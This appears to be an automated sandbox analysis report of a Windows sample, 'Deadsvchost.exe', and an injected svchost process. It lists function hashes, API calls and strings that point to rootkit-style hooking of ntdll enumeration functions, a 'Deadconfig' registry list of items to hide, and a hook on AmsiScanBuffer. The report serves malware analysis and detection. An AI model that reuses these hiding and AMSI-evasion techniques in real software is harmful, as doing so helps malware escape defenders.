Opcode ID: 8415c691aaee8c46f1d02063215c92c698de3b3fb4a93955248209b4c764c50b
Instruction ID: 873c895c39330efbd9b5372d86ee0aee996f3dd3da2caae253372b61916a57b1
Opcode Fuzzy Hash: 8415c691aaee8c46f1d02063215c92c698de3b3fb4a93955248209b4c764c50b
Instruction Fuzzy Hash: 23E0E573612B40C6FB489B62D84C25D77A1FB88B15F4A8126CA0907321EF3A849D8A14

Analysis Process: Deadsvchost.exePID: 7452, Parent PID: 1044COMMON

Executed Functions

Function 00007FFD9B800E79 Relevance: .7, Instructions: 734COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1817951404.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9b800000_Deadsvchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90fa4b7412eb4874b2824776d3ce673f5d841b6d6eec3cb1cc2950dc262932f4
Instruction ID: a400b1c4068c281f2c1ffca2603c4a9a683fe8240c08165f0053dcfcc0dd1b16
Opcode Fuzzy Hash: 90fa4b7412eb4874b2824776d3ce673f5d841b6d6eec3cb1cc2950dc262932f4
Instruction Fuzzy Hash: F932D470B29A494FEB98FB6C8465BBD77D2FF98340F5505B9E04EC36D6CE28A8018741

Function 00007FFD9B801799 Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1817951404.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9b800000_Deadsvchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86c53da2be52f4eae78e82b8da5c1c23f5fd5baf92155bc143027130e34b3853
Instruction ID: 79d6d97c6207ab69a76d253d3e910e3a48c138aa87d2b6414e75e811efff7fc9
Opcode Fuzzy Hash: 86c53da2be52f4eae78e82b8da5c1c23f5fd5baf92155bc143027130e34b3853
Instruction Fuzzy Hash: 76510E20B1E6C94FD79AAB7848746A5BBD5DF9B229B0804FBE0CDC71E7DD181806C342

Function 00007FFD9B800BFE Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1817951404.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9b800000_Deadsvchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bca526c0481f0936471e80356202e1e996345da11892c54b83a26d7767c3654
Instruction ID: 562dfec250eb9571e053afab3d6cd7712c67170d113432ecf6b76c3585c6491b
Opcode Fuzzy Hash: 8bca526c0481f0936471e80356202e1e996345da11892c54b83a26d7767c3654
Instruction Fuzzy Hash: C3714C21B1D98E0FE795EB7C98665F97BE1EF89250B4501BAD48DC32E7CD186C028351

Function 00007FFD9B8004C8 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1817951404.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9b800000_Deadsvchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a6844937f79e3af8ab68a591a8eb94fd9497a1b9e75701d9f7680876df81683
Instruction ID: c5804d539e60bc4d4f99eae42c39b3bdc2c859b6a9a863f1f028b1dd6898b8c0
Opcode Fuzzy Hash: 7a6844937f79e3af8ab68a591a8eb94fd9497a1b9e75701d9f7680876df81683
Instruction Fuzzy Hash: 6231AF21B1C9490FE798AF2C946A6B9A2C2EF9D355F0505BEF05EC32E7DD64AC428341

Function 00007FFD9B800A91 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1817951404.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9b800000_Deadsvchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5d9762e758a8f033b946a23a9dc2237ed17e0c2554d5476e4018a479d554f65
Instruction ID: 343df25d87e098fce3cfcdeb30e919c46a3b2dd8ee1ea8beb9d14072ac734ffe
Opcode Fuzzy Hash: c5d9762e758a8f033b946a23a9dc2237ed17e0c2554d5476e4018a479d554f65
Instruction Fuzzy Hash: 20310511F2894D0BE744BBBC58697BD77D2EF98745F4542B6E04CC32D7DE1869018382

Function 00007FFD9B800949 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1817951404.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9b800000_Deadsvchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52982791e87e58d885efd082342824c9cb6e503ee0820ee36b560fec86a63ebf
Instruction ID: a63f1f8fa6baa3913b5eb8e3aa30b9d1be78b7b0316196f7a464ee241db7827f
Opcode Fuzzy Hash: 52982791e87e58d885efd082342824c9cb6e503ee0820ee36b560fec86a63ebf
Instruction Fuzzy Hash: A731A234B18A8E4FEB44EBA8D465AED77B1FF98300F9105B9D059D37C6CE3869018741

Function 00007FFD9B801951 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1817951404.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9b800000_Deadsvchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f6b9c2daa32f2bc37a2e292b84a2d345c16b48a40c55fd853cf982164fc06bc
Instruction ID: 35b043863c336b3e86162ea59719a717812d068ed4903f58a3c9845cc0e9d54c
Opcode Fuzzy Hash: 4f6b9c2daa32f2bc37a2e292b84a2d345c16b48a40c55fd853cf982164fc06bc
Instruction Fuzzy Hash: 87012B15A0DBC90FE356AB3858655B17FE0CF96650B4905FBF4C8C61B7DD085B458382

Non-executed Functions

Function 00007FFD9B800718 Relevance: 5.2, Strings: 4, Instructions: 190COMMON

Download Yara Rule

Strings

L_^", xrefs: 00007FFD9B800772
<L_^, xrefs: 00007FFD9B800801
L_^$, xrefs: 00007FFD9B80077A
L_^ , xrefs: 00007FFD9B80076A

Memory Dump Source

Source File: 0000000D.00000002.1817951404.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9b800000_Deadsvchost.jbxd

Similarity

API ID:
String ID: <L_^$L_^ $L_^"$L_^$
API String ID: 0-2284102284
Opcode ID: b5eac7b7e00d5c8b2b4e455dc4c3ea8584c1fb386b09fe0445e96585bea04802
Instruction ID: 11470d43fdc9f0b8318c3556e47717c5f25c674aa8435f1681cc6bc7b1144d01
Opcode Fuzzy Hash: b5eac7b7e00d5c8b2b4e455dc4c3ea8584c1fb386b09fe0445e96585bea04802
Instruction Fuzzy Hash: 37515777B0E6DA0FD355AB6CA8B15EC3BA0EF8125875680F2C0DC8A7D7DD28240B8641

Analysis Process: svchost.exePID: 920, Parent PID: 6968COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1090
Total number of Limit Nodes:	2

Executed Functions

Function 000002A661303618 Relevance: 4.5, APIs: 3, Instructions: 39
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000002A661303631
PathFindFileNameW.SHLWAPI ref: 000002A661303640

Part of subcall function 000002A661303C70: StrCmpNIW.KERNELBASE(?,?,?,000002A66130255A), ref: 000002A661303C88

Part of subcall function 000002A661303BB8: GetModuleHandleW.KERNEL32(?,?,?,?,?,000002A661303657), ref: 000002A661303BC6
Part of subcall function 000002A661303BB8: GetCurrentProcess.KERNEL32(?,?,?,?,?,000002A661303657), ref: 000002A661303BF4
Part of subcall function 000002A661303BB8: VirtualProtectEx.KERNEL32(?,?,?,?,?,000002A661303657), ref: 000002A661303C16
Part of subcall function 000002A661303BB8: GetCurrentProcess.KERNEL32(?,?,?,?,?,000002A661303657), ref: 000002A661303C34
Part of subcall function 000002A661303BB8: VirtualProtectEx.KERNEL32(?,?,?,?,?,000002A661303657), ref: 000002A661303C55

CreateThread.KERNELBASE ref: 000002A661303687

Part of subcall function 000002A661301D3C: GetCurrentThread.KERNEL32 ref: 000002A661301D47

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: 78a450f75234da4d748a8cc1e146820bb39c36540aa3f900bd2c9a3848025828
Instruction ID: d46ac804a58af02ee5119201535612e0b919cc52077020a87d3245cf7316e704
Opcode Fuzzy Hash: 78a450f75234da4d748a8cc1e146820bb39c36540aa3f900bd2c9a3848025828
Instruction Fuzzy Hash: 39115230F10A044BFB64E721A94EB5A66ECB756F56F9845269807A36D0DF7DC10C8A83

Function 000002A661303C70 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.KERNELBASE(?,?,?,000002A66130255A), ref: 000002A661303C88

Strings

Dead, xrefs: 000002A661303C81

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID:
String ID: Dead
API String ID: 0-1293411866
Opcode ID: 6fb73889c1581f2e1b76d9bdaa8d74932699fe8d643b78f0f876c7c0ad846881
Instruction ID: f6d5a0dbe65f5e9c663829fcc500f55916c72a583d24b7860ffd4bca3bdb7618
Opcode Fuzzy Hash: 6fb73889c1581f2e1b76d9bdaa8d74932699fe8d643b78f0f876c7c0ad846881
Instruction Fuzzy Hash: 12D0A720B11689CBFF15DFA288CD6603798EB06F15F8C9025C90357214DF1CC94DC715

Function 000002A6612D2AB8 Relevance: 1.7, APIs: 1, Instructions: 241libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 000002A6612D2C29

Memory Dump Source

Source File: 0000000E.00000003.1781874450.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_3_2a6612d0000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 24c55482e3ee7e9e3b87009127322f5f012175c8db73c85287ddc3c1b6fbd12d
Instruction ID: 5fc31caba2d6a33548e2378d5c9ab3eb92b81a219a44c6a4ac0fc3518521d9b1
Opcode Fuzzy Hash: 24c55482e3ee7e9e3b87009127322f5f012175c8db73c85287ddc3c1b6fbd12d
Instruction Fuzzy Hash: 0591EFB2F0129087EB64CF25D04CB69B3A9FB55F94F598125DE4A47788DF38D88AC701

Function 000002A661301AC8 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000002A661301628: GetProcessHeap.KERNEL32 ref: 000002A661301633
Part of subcall function 000002A661301628: HeapAlloc.KERNEL32 ref: 000002A661301642
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A6613016B2
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A6613016DF
Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A6613016F9
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A661301719
Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A661301734
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A661301754
Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A66130176F
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A66130178F
Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A6613017AA
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A6613017CA

SleepEx.KERNELBASE ref: 000002A661301AE3

Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A6613017E5
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A661301805
Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A661301820
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A661301840
Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A66130185B
Part of subcall function 000002A661301628: RegOpenKeyExW.ADVAPI32 ref: 000002A66130187B
Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A661301896
Part of subcall function 000002A661301628: RegCloseKey.ADVAPI32 ref: 000002A6613018A0

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: CloseOpen$Heap$AllocProcessSleep
String ID:
API String ID: 948135145-0
Opcode ID: 64999c0117d7972c63d36e484e4b5c22b997d5fb2e44b7ed48be0e5086276bc0
Instruction ID: 0d3e147137cf3f0668c5a4da59198925d64eba4c138aa6f11c5b45df95f9dcb5
Opcode Fuzzy Hash: 64999c0117d7972c63d36e484e4b5c22b997d5fb2e44b7ed48be0e5086276bc0
Instruction Fuzzy Hash: 95210171B00A0583FB509B23DD4D26963FCAB46FDEF0C54259E0BA7695EF2CC4598292

Non-executed Functions

Function 000002A6613081B0 Relevance: 10.6, APIs: 7, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000002A6613081CC
RtlCaptureContext.NTDLL ref: 000002A6613081F9
RtlLookupFunctionEntry.NTDLL ref: 000002A661308213
RtlVirtualUnwind.NTDLL ref: 000002A661308254
IsDebuggerPresent.KERNEL32 ref: 000002A6613082A8
SetUnhandledExceptionFilter.KERNEL32 ref: 000002A6613082C9
UnhandledExceptionFilter.KERNEL32 ref: 000002A6613082D4

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: ead5fadb83694ce98b6326e54bc9fbf3eb966a3b9ea24560d629fcd35623205e
Instruction ID: e7c9d3b0f679888c4af4c039d51f87680f2cc789bfb9356e6c215fb0d25bdc0a
Opcode Fuzzy Hash: ead5fadb83694ce98b6326e54bc9fbf3eb966a3b9ea24560d629fcd35623205e
Instruction Fuzzy Hash: B0316D72B05B8086EB60DF60E8583DE73A8F789B54F48442ADA4E57B94DF38C54CC705

Function 000002A66130B62C Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000002A66130B6A5
RtlLookupFunctionEntry.NTDLL ref: 000002A66130B6BD
RtlVirtualUnwind.NTDLL ref: 000002A66130B6F8
IsDebuggerPresent.KERNEL32 ref: 000002A66130B731
SetUnhandledExceptionFilter.KERNEL32 ref: 000002A66130B73B
UnhandledExceptionFilter.KERNEL32 ref: 000002A66130B746

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: e0d741da526e6e52bfddd8974ed83ffa82d96d60d1008cadd4c23b489aa9e4de
Instruction ID: 9131fd5dbed5217045310b543fde8888276b45c687cb48d7a868e4cff48b437e
Opcode Fuzzy Hash: e0d741da526e6e52bfddd8974ed83ffa82d96d60d1008cadd4c23b489aa9e4de
Instruction Fuzzy Hash: 9D317136714B8086DB60CF25E8497DE73A8F789B64F580125EA8E57B68DF3CC149CB41

Function 000002A661310018 Relevance: 7.8, APIs: 5, Instructions: 328fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000002A661310087
WriteFile.KERNEL32 ref: 000002A66131033E
WriteFile.KERNEL32 ref: 000002A661310390
GetLastError.KERNEL32 ref: 000002A661310492
GetLastError.KERNEL32 ref: 000002A6613104F2

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite$ConsoleOutput
String ID:
API String ID: 1443284424-0
Opcode ID: fb55a000834c869af8142d397673ad88ba24b52852e229f6c97767c338bfc2c2
Instruction ID: 74319de8a1f99e33c52a597bb1e6d03644dc4a4b130be96bf2fcd7b27b9672aa
Opcode Fuzzy Hash: fb55a000834c869af8142d397673ad88ba24b52852e229f6c97767c338bfc2c2
Instruction Fuzzy Hash: 8BE1D062B14A808BE700CF64D48D2DD7BB5F346B98F188116DE5BA7B99DF38C42AC741

Function 000002A6612DB150 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 165COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000002A6612DB180

Strings

HIJKLMNOPQRSTUVWXYZ, xrefs: 000002A6612DB503
*?, xrefs: 000002A6612DB1A7

Memory Dump Source

Source File: 0000000E.00000003.1781874450.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_3_2a6612d0000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: *?$HIJKLMNOPQRSTUVWXYZ
API String ID: 3215553584-1407779936
Opcode ID: 0f32a7f2b4fad7165c24a511c7a5f2eb758ad1cabc3439966c459bfc2effdee2
Instruction ID: cabe4086090de5c02c394298dc0c680afb927707af4e912d7e18d9f79e66943a
Opcode Fuzzy Hash: 0f32a7f2b4fad7165c24a511c7a5f2eb758ad1cabc3439966c459bfc2effdee2
Instruction Fuzzy Hash: 2551AE62F1069486EF14CBA6D82C6AD27ADBB5AFD4F888525DE1907B85DF3CC0898301

Function 000002A661301628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000002A661301633
HeapAlloc.KERNEL32 ref: 000002A661301642

Part of subcall function 000002A661301268: GetProcessHeap.KERNEL32 ref: 000002A66130126E
Part of subcall function 000002A661301268: HeapAlloc.KERNEL32 ref: 000002A66130127D
Part of subcall function 000002A661301268: GetProcessHeap.KERNEL32 ref: 000002A661301297
Part of subcall function 000002A661301268: HeapAlloc.KERNEL32 ref: 000002A6613012A8

Part of subcall function 000002A661301000: GetProcessHeap.KERNEL32 ref: 000002A661301006
Part of subcall function 000002A661301000: HeapAlloc.KERNEL32 ref: 000002A661301015
Part of subcall function 000002A661301000: GetProcessHeap.KERNEL32 ref: 000002A661301028
Part of subcall function 000002A661301000: HeapAlloc.KERNEL32 ref: 000002A661301037

RegOpenKeyExW.ADVAPI32 ref: 000002A6613016B2
RegOpenKeyExW.ADVAPI32 ref: 000002A6613016DF
RegCloseKey.ADVAPI32 ref: 000002A6613016F9
RegOpenKeyExW.ADVAPI32 ref: 000002A661301719
RegCloseKey.ADVAPI32 ref: 000002A661301734
RegOpenKeyExW.ADVAPI32 ref: 000002A661301754
RegCloseKey.ADVAPI32 ref: 000002A66130176F
RegOpenKeyExW.ADVAPI32 ref: 000002A66130178F
RegCloseKey.ADVAPI32 ref: 000002A6613017AA
RegOpenKeyExW.ADVAPI32 ref: 000002A6613017CA
RegCloseKey.ADVAPI32 ref: 000002A6613017E5
RegOpenKeyExW.ADVAPI32 ref: 000002A661301805
RegCloseKey.ADVAPI32 ref: 000002A661301820
RegOpenKeyExW.ADVAPI32 ref: 000002A661301840
RegCloseKey.ADVAPI32 ref: 000002A66130185B
RegOpenKeyExW.ADVAPI32 ref: 000002A66130187B
RegCloseKey.ADVAPI32 ref: 000002A661301896
RegCloseKey.ADVAPI32 ref: 000002A6613018A0

Part of subcall function 000002A6613012BC: RegQueryInfoKeyW.ADVAPI32 ref: 000002A661301319
Part of subcall function 000002A6613012BC: GetProcessHeap.KERNEL32 ref: 000002A661301327
Part of subcall function 000002A6613012BC: HeapAlloc.KERNEL32 ref: 000002A661301338
Part of subcall function 000002A6613012BC: RegEnumValueW.ADVAPI32 ref: 000002A661301397
Part of subcall function 000002A6613012BC: GetProcessHeap.KERNEL32 ref: 000002A6613013DF
Part of subcall function 000002A6613012BC: HeapAlloc.KERNEL32 ref: 000002A6613013ED
Part of subcall function 000002A6613012BC: GetProcessHeap.KERNEL32 ref: 000002A66130140A
Part of subcall function 000002A6613012BC: HeapFree.KERNEL32 ref: 000002A661301418
Part of subcall function 000002A6613012BC: lstrlenW.KERNEL32 ref: 000002A661301421
Part of subcall function 000002A6613012BC: GetProcessHeap.KERNEL32 ref: 000002A66130142F
Part of subcall function 000002A6613012BC: HeapAlloc.KERNEL32 ref: 000002A66130143D

Strings

tcp_local, xrefs: 000002A6613017FE
paths, xrefs: 000002A661301788
service_names, xrefs: 000002A6613017C3
SOFTWARE\Deadconfig, xrefs: 000002A661301692
startup, xrefs: 000002A6613016D5
process_names, xrefs: 000002A66130174D
tcp_remote, xrefs: 000002A661301839
udp, xrefs: 000002A661301874
pid, xrefs: 000002A661301712

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\Deadconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2135414181-3864762265
Opcode ID: f4bb390ec195533d0d08c97f362a19cf980481d45eb9fb13aebdfbbaa82a3014
Instruction ID: 60ad0d1acc99e365d96b378d3b39321a142c500dcbb11651cc49b0a11ce34215
Opcode Fuzzy Hash: f4bb390ec195533d0d08c97f362a19cf980481d45eb9fb13aebdfbbaa82a3014
Instruction Fuzzy Hash: 8371F536B10A5086EB10DF65E88D69937B8FB8AF9DF081111DE4F67B28DF28C549C341

Function 000002A661301D3C Relevance: 31.6, APIs: 1, Strings: 17, Instructions: 80
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000002A661301D47

Part of subcall function 000002A6613020C0: GetModuleHandleA.KERNEL32(?,?,?,000002A661301D79), ref: 000002A6613020D8
Part of subcall function 000002A6613020C0: GetProcAddress.KERNEL32(?,?,?,000002A661301D79), ref: 000002A6613020E9

Part of subcall function 000002A661305F50: GetCurrentThreadId.KERNEL32 ref: 000002A661305F8B

Strings

pdh.dll, xrefs: 000002A661301E9F, 000002A661301EC0
NtResumeThread, xrefs: 000002A661301D8A
advapi32.dll, xrefs: 000002A661301E1F, 000002A661301E40
sechost.dll, xrefs: 000002A661301E61
NtEnumerateKey, xrefs: 000002A661301DE1
NtQueryDirectoryFile, xrefs: 000002A661301DA7
PdhGetRawCounterArrayW, xrefs: 000002A661301E98
ntdll.dll, xrefs: 000002A661301D55
NtEnumerateValueKey, xrefs: 000002A661301DFE
NtDeviceIoControlFile, xrefs: 000002A661301E7E
AmsiScanBuffer, xrefs: 000002A661301EDA
NtQueryDirectoryFileEx, xrefs: 000002A661301DC4
amsi.dll, xrefs: 000002A661301EE1
EnumServicesStatusExW, xrefs: 000002A661301E39, 000002A661301E5A
PdhGetFormattedCounterArrayW, xrefs: 000002A661301EB9
NtQuerySystemInformation, xrefs: 000002A661301D6D
EnumServiceGroupW, xrefs: 000002A661301E18

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
